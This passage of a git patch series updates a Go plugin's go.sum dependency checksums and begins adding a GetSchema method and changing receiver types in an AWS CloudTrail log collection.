--git a/go.sum b/go.sum index 57117f22..cc3a6b63 100644 --- a/go.sum +++ b/go.sum @@ -1,94 +1,131 @@ +github.com/Masterminds/semver/v3 v3.2.1 h1:RN9w6+7QoMeJVGyfmbcgs28Br8cvmnucEXnY0rYXWg0= +github.com/Masterminds/semver/v3 v3.2.1/go.mod h1:qvl/7zhW3nngYb5+80sSMF+FG2BjYrf8m9wsX0PNOMQ= github.com/acarl005/stripansi v0.0.0-20180116102854-5a71ef0e047d h1:licZJFw2RwpHMqeKTCYkitsPqHNxTmd4SNR5r94FGM8= github.com/acarl005/stripansi v0.0.0-20180116102854-5a71ef0e047d/go.mod h1:asat636LX7Bqt5lYEZ27JNDcqxfjdBQuJ/MM4CN/Lzo= -github.com/aws/aws-sdk-go-v2 v1.26.0 h1:/Ce4OCiM3EkpW7Y+xUnfAFpchU78K7/Ug01sZni9PgA= -github.com/aws/aws-sdk-go-v2 v1.26.0/go.mod h1:35hUlJVYd+M++iLI3ALmVwMOyRYMmRqUXpTtRGW+K9I= -github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.6.1 h1:gTK2uhtAPtFcdRRJilZPx8uJLL2J85xK11nKtWL0wfU= -github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.6.1/go.mod h1:sxpLb+nZk7tIfCWChfd+h4QwHNUR57d8hA1cleTkjJo= -github.com/aws/aws-sdk-go-v2/config v1.27.9 h1:gRx/NwpNEFSk+yQlgmk1bmxxvQ5TyJ76CWXs9XScTqg= -github.com/aws/aws-sdk-go-v2/config v1.27.9/go.mod h1:dK1FQfpwpql83kbD873E9vz4FyAxuJtR22wzoXn3qq0= -github.com/aws/aws-sdk-go-v2/credentials v1.17.9 h1:N8s0/7yW+h8qR8WaRlPQeJ6czVMNQVNtNdUqf6cItao= -github.com/aws/aws-sdk-go-v2/credentials v1.17.9/go.mod h1:446YhIdmSV0Jf/SLafGZalQo+xr2iw7/fzXGDPTU1yQ= -github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.16.0 h1:af5YzcLf80tv4Em4jWVD75lpnOHSBkPUZxZfGkrI3HI= -github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.16.0/go.mod h1:nQ3how7DMnFMWiU1SpECohgC82fpn4cKZ875NDMmwtA= -github.com/aws/aws-sdk-go-v2/internal/configsources v1.3.4 h1:0ScVK/4qZ8CIW0k8jOeFVsyS/sAiXpYxRBLolMkuLQM= -github.com/aws/aws-sdk-go-v2/internal/configsources v1.3.4/go.mod h1:84KyjNZdHC6QZW08nfHI6yZgPd+qRgaWcYsyLUo3QY8= -github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.6.4 h1:sHmMWWX5E7guWEFQ9SVo6A3S4xpPrWnd77a6y4WM6PU= -github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.6.4/go.mod h1:WjpDrhWisWOIoS9n3nk67A3Ll1vfULJ9Kq6h29HTD48= -github.com/aws/aws-sdk-go-v2/internal/ini v1.8.0 h1:hT8rVHwugYE2lEfdFE0QWVo81lF7jMrYJVDWI+f+VxU= -github.com/aws/aws-sdk-go-v2/internal/ini v1.8.0/go.mod h1:8tu/lYfQfFe6IGnaOdrpVgEL2IrrDOf6/m9RQum4NkY= -github.com/aws/aws-sdk-go-v2/internal/v4a v1.3.4 h1:SIkD6T4zGQ+1YIit22wi37CGNkrE7mXV1vNA5VpI3TI= -github.com/aws/aws-sdk-go-v2/internal/v4a v1.3.4/go.mod h1:XfeqbsG0HNedNs0GT+ju4Bs+pFAwsrlzcRdMvdNVf5s= -github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.11.1 h1:EyBZibRTVAs6ECHZOw5/wlylS9OcTzwyjeQMudmREjE= -github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.11.1/go.mod h1:JKpmtYhhPs7D97NL/ltqz7yCkERFW5dOlHyVl66ZYF8= -github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.3.6 h1:NkHCgg0Ck86c5PTOzBZ0JRccI51suJDg5lgFtxBu1ek= -github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.3.6/go.mod h1:mjTpxjC8v4SeINTngrnKFgm2QUi+Jm+etTbCxh8W4uU= -github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.11.6 h1:b+E7zIUHMmcB4Dckjpkapoy47W6C9QBv/zoUP+Hn8Kc= -github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.11.6/go.mod h1:S2fNV0rxrP78NhPbCZeQgY8H9jdDMeGtwcfZIRxzBqU= -github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.17.4 h1:uDj2K47EM1reAYU9jVlQ1M5YENI1u6a/TxJpf6AeOLA= -github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.17.4/go.mod h1:XKCODf4RKHppc96c2EZBGV/oCUC7OClxAo2MEyg4pIk= -github.com/aws/aws-sdk-go-v2/service/s3 v1.53.0 h1:r3o2YsgW9zRcIP3Q0WCmttFVhTuugeKIvT5z9xDspc0= -github.com/aws/aws-sdk-go-v2/service/s3 v1.53.0/go.mod h1:w2E4f8PUfNtyjfL6Iu+mWI96FGttE03z3UdNcUEC4tA= -github.com/aws/aws-sdk-go-v2/service/sso v1.20.3 h1:mnbuWHOcM70/OFUlZZ5rcdfA8PflGXXiefU/O+1S3+8= -github.com/aws/aws-sdk-go-v2/service/sso v1.20.3/go.mod h1:5HFu51Elk+4oRBZVxmHrSds5jFXmFj8C3w7DVF2gnrs= -github.com/aws/aws-sdk-go-v2/service/ssooidc v1.23.3 h1:uLq0BKatTmDzWa/Nu4WO0M1AaQDaPpwTKAeByEc6WFM= -github.com/aws/aws-sdk-go-v2/service/ssooidc v1.23.3/go.mod h1:b+qdhjnxj8GSR6t5YfphOffeoQSQ1KmpoVVuBn+PWxs= -github.com/aws/aws-sdk-go-v2/service/sts v1.28.5 h1:J/PpTf/hllOjx8Xu9DMflff3FajfLxqM5+tepvVXmxg= -github.com/aws/aws-sdk-go-v2/service/sts v1.28.5/go.mod h1:0ih0Z83YDH/QeQ6Ori2yGE2XvWYv/Xm+cZc01LC6oK0= -github.com/aws/smithy-go v1.20.1 h1:4SZlSlMr36UEqC7XOyRVb27XMeZubNcBNN+9IgEPIQw= -github.com/aws/smithy-go v1.20.1/go.mod h1:krry+ya/rV9RDcV/Q16kpu6ypI4K2czasz0NC3qS14E= +github.com/aws/aws-sdk-go v1.44.183 h1:mUk45JZTIMMg9m8GmrbvACCsIOKtKezXRxp06uI5Ahk= +github.com/aws/aws-sdk-go v1.44.183/go.mod h1:aVsgQcEevwlmQ7qHE9I3h+dtQgpqhFB+i8Phjh7fkwI= +github.com/btubbs/datetime v0.1.1 h1:KuV+F9tyq/hEnezmKZNGk8dzqMVsId6EpFVrQCfA3To= +github.com/btubbs/datetime v0.1.1/go.mod h1:n2BZ/2ltnRzNiz27aE3wUb2onNttQdC+WFxAoks5jJM= github.com/bufbuild/protocompile v0.4.0 h1:LbFKd2XowZvQ/kajzguUp2DC9UEIQhIq77fZZlaQsNA= github.com/bufbuild/protocompile v0.4.0/go.mod h1:3v93+mbWn/v3xzN+31nwkJfrEpAUwp+BagBSZWx+TP8= -github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= -github.com/fatih/color v1.7.0 h1:DkWD4oS2D8LGGgTQ6IvwJJXSL5Vp2ffcQg58nFV38Ys= -github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= +github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc h1:U9qPSI2PIWSS1VwoXQT9A3Wy9MM3WgvqSxFWenqJduM= +github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk= +github.com/fatih/color v1.15.0 h1:kOqh6YHBtK8aywxGerMG2Eq3H6Qgoqeo13Bk2Mv/nBs= +github.com/fatih/color v1.15.0/go.mod h1:0h5ZqXfHYED7Bhv2ZJamyIOUej9KtShiJESRwBDUSsw= github.com/golang/protobuf v1.5.4 h1:i7eJL8qZTpSEXOPTxNKhASYpMn+8e5Q6AdndVa1dWek= github.com/golang/protobuf v1.5.4/go.mod h1:lnTiLA8Wa4RWRcIUkrtSVa5nRhsEGBg48fD6rSs7xps= github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= -github.com/hashicorp/go-hclog v0.14.1 h1:nQcJDQwIAGnmoUWp8ubocEX40cCml/17YkF6csQLReU= -github.com/hashicorp/go-hclog v0.14.1/go.mod h1:whpDNt7SSdeAju8AWKIWsul05p54N/39EeqMAyrmvFQ= +github.com/hashicorp/go-hclog v1.6.2 h1:NOtoftovWkDheyUM/8JW3QMiXyxJK3uHRK7wV04nD2I= +github.com/hashicorp/go-hclog v1.6.2/go.mod h1:W4Qnvbt70Wk/zYJryRzDRU/4r0kIg0PVHBcfoyhpF5M= github.com/hashicorp/go-plugin v1.6.1 h1:P7MR2UP6gNKGPp+y7EZw2kOiq4IR9WiqLvp0XOsVdwI= github.com/hashicorp/go-plugin v1.6.1/go.mod h1:XPHFku2tFo3o3QKFgSYo+cghcUhw1NA1hZyMK0PWAw0= github.com/hashicorp/yamux v0.1.1 h1:yrQxtgseBDrq9Y652vSRDvsKCJKOUD+GzTS4Y0Y8pvE= github.com/hashicorp/yamux v0.1.1/go.mod h1:CtWFDAQgb7dxtzFs4tWbplKIe2jSi3+5vKbgIO0SLnQ= +github.com/hokaccha/go-prettyjson v0.0.0-20211117102719-0474bc63780f h1:7LYC+Yfkj3CTRcShK0KOL/w6iTiKyqqBA9a41Wnggw8= +github.com/hokaccha/go-prettyjson v0.0.0-20211117102719-0474bc63780f/go.mod h1:pFlLw2CfqZiIBOx6BuCeRLCrfxBJipTY0nIOF/VbGcI= github.com/jhump/protoreflect v1.15.1 h1:HUMERORf3I3ZdX05WaQ6MIpd/NJ434hTp5YiKgfCL6c= github.com/jhump/protoreflect v1.15.1/go.mod h1:jD/2GMKKE6OqX8qTjhADU1e6DShO+gavG9e0Q693nKo= -github.com/mattn/go-colorable v0.1.4 h1:snbPLB8fVfU9iwbbo30TPtbLRzwWu6aJS6Xh4eaaviA= -github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= -github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= -github.com/mattn/go-isatty v0.0.10 h1:qxFzApOv4WsAL965uUPIsXzAKCZxN2p9UqdhFS4ZW10= -github.com/mattn/go-isatty v0.0.10/go.mod h1:qgIWMr58cqv1PHHyhnkY9lrL7etaEgOFcMEpPG5Rm84= -github.com/mitchellh/go-testing-interface v0.0.0-20171004221916-a61a99592b77 h1:7GoSOOW2jpsfkntVKaS2rAr1TJqfcxotyaUcuxoZSzg= -github.com/mitchellh/go-testing-interface v0.0.0-20171004221916-a61a99592b77/go.mod h1:kRemZodwjscx+RGhAo8eIhFbs2+BFgRtFPeD/KE+zxI= +github.com/jmespath/go-jmespath v0.4.0 h1:BEgLn5cpjn8UN1mAw4NjwDrS35OdebyEtFe+9YPoQUg= +github.com/jmespath/go-jmespath v0.4.0/go.mod h1:T8mJZnbsbmF+m6zOOFylbeCJqk5+pHWvzYPziyZiYoo= +github.com/jmespath/go-jmespath/internal/testify v1.5.1 h1:shLQSRRSCCPj3f2gpwzGwWFoC7ycTf1rcQZHOlsJ6N8= +github.com/jmespath/go-jmespath/internal/testify v1.5.1/go.mod h1:L3OGu8Wl2/fWfCI6z80xFu9LTZmf1ZRjMHUOPmWr69U= +github.com/logrusorgru/aurora v2.0.3+incompatible h1:tOpm7WcpBTn4fjmVfgpQq0EfczGlG91VSDkswnjF5A8= +github.com/logrusorgru/aurora v2.0.3+incompatible/go.mod h1:7rIyQOR62GCctdiQpZ/zOJlFyk6y+94wXzv6RNZgaR4= +github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= +github.com/mattn/go-colorable v0.1.12/go.mod h1:u5H1YNBxpqRaxsYJYSkiCWKzEfiAb1Gb520KVy5xxl4= +github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA= +github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= +github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= +github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94= +github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= +github.com/mattn/go-isatty v0.0.19 h1:JITubQf0MOLdlGRuRq+jtsDlekdYPia9ZFsB8h/APPA= +github.com/mattn/go-isatty v0.0.19/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= +github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= +github.com/mattn/go-runewidth v0.0.13 h1:lTGmDsbAYt5DmK6OnoV7EuIF1wEIFAcxld6ypU4OSgU= +github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= +github.com/mitchellh/go-testing-interface v1.14.1 h1:jrgshOhYAUVNMAJiKbEu7EqAwgJJ2JqpQmpLJOu07cU= +github.com/mitchellh/go-testing-interface v1.14.1/go.mod h1:gfgS7OtZj6MA4U1UrDRp04twqAjfvlZyCfX3sDjEym8= +github.com/mitchellh/mapstructure v1.5.0 h1:jeMsZIYE/09sWLaz43PL7Gy6RuMjD2eJVyuac5Z2hdY= +github.com/mitchellh/mapstructure v1.5.0/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= github.com/oklog/run v1.0.0 h1:Ru7dDtJNOyC66gQ5dQmaCa0qIsAUFY3sFpK1Xk8igrw= github.com/oklog/run v1.0.0/go.mod h1:dlhp/R75TPv97u0XWUtDeV/lRKWPKSdTuV0TZvrmrQA= -github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/olekukonko/tablewriter v0.0.5 h1:P2Ga83D34wi1o9J6Wh1mRuqd4mF/x/lgBS7N7AbDhec= +github.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY= +github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 h1:Jamvg5psRIccs7FGNTlIRMkT8wgtp5eCXdBlqhYGL6U= +github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY= +github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= github.com/rs/xid v1.5.0 h1:mKX4bl4iPYJtEIxp6CYiUuLQ/8DYMoz0PUdtGgMFRVc= github.com/rs/xid v1.5.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg= -github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= +github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/testify v1.7.2/go.mod h1:R6va5+xMeoiuVRoj+gSkQ7d3FALtqAAGI1FQKckRals= github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg= github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= github.com/tkrajina/go-reflector v0.5.6 h1:hKQ0gyocG7vgMD2M3dRlYN6WBBOmdoOzJ6njQSepKdE= github.com/tkrajina/go-reflector v0.5.6/go.mod h1:ECbqLgccecY5kPmPmXg1MrHW585yMcDkVl6IvJe64T4= -github.com/turbot/go-kit v0.9.0 h1:7RVIFpHa0vdsh8GMEr4cM+D4jQ7h4pGeFmT2EVG/U5Y= -github.com/turbot/go-kit v0.9.0/go.mod h1:fFQqR59I5z5JeeBLfK1PjSifn4Oprs3NiQx0CxeSJxs= -golang.org/x/exp v0.0.0-20230522175609-2e198f4a06a1 h1:k/i9J1pBpvlfR+9QsetwPyERsqu1GIbi967PQMq3Ivc= -golang.org/x/exp v0.0.0-20230522175609-2e198f4a06a1/go.mod h1:V1LtkGg67GoY2N1AnLN78QLrzxkLyJw7RJb1gzOOz9w= -golang.org/x/net v0.22.0 h1:9sGLhx7iRIHEiX0oAJ3MRZMUCElJgy7Br1nO+AMN3Tc= -golang.org/x/net v0.22.0/go.mod h1:JKghWKKOSdJwpW2GEx0Ja7fmaKnMsbu+MWVZTokSYmg= -golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20191008105621-543471e840be/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.18.0 h1:DBdB3niSjOA/O0blCZBqDefyWNYveAYMNF1Wum0DYQ4= -golang.org/x/sys v0.18.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= +github.com/turbot/go-kit v0.10.0-rc.0 h1:kd+jp2ibbIV33Hc8SsMAN410Dl9Pz6SJ40axbKUlSoA= +github.com/turbot/go-kit v0.10.0-rc.0/go.mod h1:fFQqR59I5z5JeeBLfK1PjSifn4Oprs3NiQx0CxeSJxs= +github.com/turbot/pipe-fittings v1.4.1 h1:RYyRwgUVUUriXPASyr0sm7TENKGTSgRA+9kvHFn12uE= +github.com/turbot/pipe-fittings v1.4.1/go.mod h1:n/ZDk1jo/0A0Z7XgGm76ySBhWUX/v7xcrC7wF8KMos8= +github.com/turbot/steampipe-plugin-code v0.7.0 h1:SROYIo/TI/Q/YNfXK+sAIS71umypUFm1Uz851TmoJkM= +github.com/turbot/steampipe-plugin-code v0.7.0/go.mod h1:GvdjncWum4sZNmR0iM03SKkIzl7aZKAFtIsyAR+z4YI= +github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= +golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= +golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= +golang.org/x/exp v0.0.0-20231006140011-7918f672742d h1:jtJma62tbqLibJ5sFQz8bKtEM8rJBtfilJ2qTU199MI= +golang.org/x/exp v0.0.0-20231006140011-7918f672742d/go.mod h1:ldy0pHrwJyGW56pPQzzkH36rKxoZW1tw7ZJpeKx+hdo= +golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= +golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= +golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= +golang.org/x/net v0.1.0/go.mod h1:Cx3nUiGt4eDBEyega/BKRp+/AlGL8hYe7U9odMt2Cco= +golang.org/x/net v0.23.0 h1:7EYJ93RZ9vYSZAIb2x3lnuvqO5zneoD6IvWjuhfxjTs= +golang.org/x/net v0.23.0/go.mod h1:JKghWKKOSdJwpW2GEx0Ja7fmaKnMsbu+MWVZTokSYmg= +golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220503163025-988cb79eb6c6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.19.0 h1:q5f1RH2jigJ1MoAWp2KTp3gm5zAGFUTarQZ5U386+4o= +golang.org/x/sys v0.19.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= +golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= +golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= +golang.org/x/term v0.1.0/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= +golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= +golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ= golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= -google.golang.org/genproto/googleapis/rpc v0.0.0-20240318140521-94a12d6c2237 h1:NnYq6UN9ReLM9/Y01KWNOWyI5xQ9kbIms5GGJVwS/Yc= -google.golang.org/genproto/googleapis/rpc v0.0.0-20240318140521-94a12d6c2237/go.mod h1:WtryC6hu0hhx87FDGxWCDptyssuo68sk10vYjF+T9fY= +golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= +golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +google.golang.org/genproto/googleapis/rpc v0.0.0-20240401170217-c3f982113cda h1:LI5DOvAxUPMv/50agcLLoo+AdWc1irS9Rzz4vPuD1V4= +google.golang.org/genproto/googleapis/rpc v0.0.0-20240401170217-c3f982113cda/go.mod h1:WtryC6hu0hhx87FDGxWCDptyssuo68sk10vYjF+T9fY= google.golang.org/grpc v1.64.0 h1:KH3VH9y/MgNQg1dE7b3XfVK0GsPSIzJwdF617gUSbvY= google.golang.org/grpc v1.64.0/go.mod h1:oxjF8E3FBnjp+/gVFYdWacaLDx9na1aqy9oovLpxQYg= google.golang.org/protobuf v1.34.2 h1:6xV6lTsCfpGD21XK49h7MhtcApnLqkfYgPcdHftf6hg= google.golang.org/protobuf v1.34.2/go.mod h1:qYOHts0dSfpeUzUFpOMr/WGzszTmLH+DiWniOlNbLDw= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= +gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= From 4cb2ec8feb7a9278480077f655888fddcd033eb5 Mon Sep 17 00:00:00 2001 From: kai Date: Wed, 26 Jun 2024 12:17:35 +0100 Subject: [PATCH 006/180] starting to add GetSchema --- aws/plugin.go | 8 ++++++++ aws_collection/cloudtrail_log_collection.go | 4 ++-- 2 files changed, 10 insertions(+), 2 deletions(-) diff --git a/aws/plugin.go b/aws/plugin.go index e1adaa00..94e74548 100644 --- a/aws/plugin.go +++ b/aws/plugin.go @@ -25,6 +25,14 @@ func (t *Plugin) Collect(req *proto.CollectRequest) error { return nil } +//// GetSchema returns the schema (i.e. an instance of the row struct) for all collections +//// it is used primarily to validate the row structs provide the required fields +//func (t *Plugin) GetSchema(collection string) map[string]any { +// return map[string]any{ +// aws_collection.CloudTrailLogCollection{}.Identifier(): aws_types.AWSCloudTrail{}, +// } +//} + func (t *Plugin) doCollect(ctx context.Context, req *proto.CollectRequest) { // todo config parsing, identify collection type etc. diff --git a/aws_collection/cloudtrail_log_collection.go b/aws_collection/cloudtrail_log_collection.go index 15e63d92..0b426833 100644 --- a/aws_collection/cloudtrail_log_collection.go +++ b/aws_collection/cloudtrail_log_collection.go @@ -35,11 +35,11 @@ func NewCloudTrailLogCollection(config CloudTrailLogCollectionConfig, source plu return l } -func (c *CloudTrailLogCollection) Identifier() string { +func (c CloudTrailLogCollection) Identifier() string { return "aws_cloudtrail_log" } -func (c *CloudTrailLogCollection) EnrichRow(row any, sourceEnrichmentFields map[string]any) (any, error) { +func (c CloudTrailLogCollection) EnrichRow(row any, sourceEnrichmentFields 